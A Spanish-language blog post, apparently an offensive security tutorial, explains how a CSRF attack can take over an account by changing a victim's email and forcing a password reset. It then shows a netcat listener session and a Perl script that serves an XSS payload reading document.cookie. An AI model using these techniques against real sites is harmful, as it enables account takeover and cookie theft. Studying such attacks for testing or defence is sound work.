Blog de Xianur0

XSS a Otro Nivel (Primera Parte)
Estas son mis técnicas de XSS no tan básicas:

Todos saben XSS aunque sea a un nivel muy básico, creo que muchos no pasan del clásico alert, pero bueno, intentare escribir un texto con un nivel un poco mas avanzado de tema y no me limitare solo a escribir de XSS en códigos webs, si no también en XSS en otros mecanismos.

XSRF

Cross-Site Request Forgery, es una técnica mediante la cual, con un solo clic se puede robar credenciales o información sensible sobre los usuarios (contraseñas, etcs...), ejemplo:

Supongamos que tenemos una web victima la cual tiene mas o menos el siguiente funcionamiento, el usuario tiene su panel, en el cual puede cambiar su dirección de correo, el cual se usa para digamos recuperar la contraseña, pero dicho formulario no contiene captcha ni nada similar... bueno ahora supongamos que usa un navegador que permite JS, un atacante puede pasarle un archivo en otro server, el cual al estar logeado el usuario, haga el envió de la petición y cambie el correo de la victima por el del atacante, y seguido de ello, envié un mensaje de recuperación de contraseña, entonces tendremos la password de la victima en nuestro correo. Esto seria mas o menos así:

Xianur0 ~ # nslookup localhost.php.net
Server:         10.0.116.129
Address:        10.0.116.129#53

Non-authoritative answer:
Name:   localhost.php.net
Address: 127.0.0.1

Xianur0 ~ # nc -vvvlp 80
listening on [any] 80 ...
connect to [127.0.0.1] from Xianur0 [127.0.0.1] 34640
GET / HTTP/1.1
Host: localhost.php.net
User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

#!/usr/bin/perl
#Tester XSS Mixto By Xianur0 (<script>alert(document.cookie)</script>)

 use Socket;
 my $port = 80;
 my $proto = getprotobyname('tcp');
 socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "Error: $!";
 setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, 1) or die "Error: $!";
 my $paddr = sockaddr_in($port, INADDR_ANY);
 bind(SERVER, $paddr) or die "Error: $!";
 listen(SERVER, SOMAXCONN) or die "Error: $!";
 my $client_addr;
system("firefox http://localhost.php.net");
 while ($client_addr = accept(CLIENT, SERVER))
 {
 print CLIENT "<script>alert(document.cookie)</script>";
 close CLIENT;
}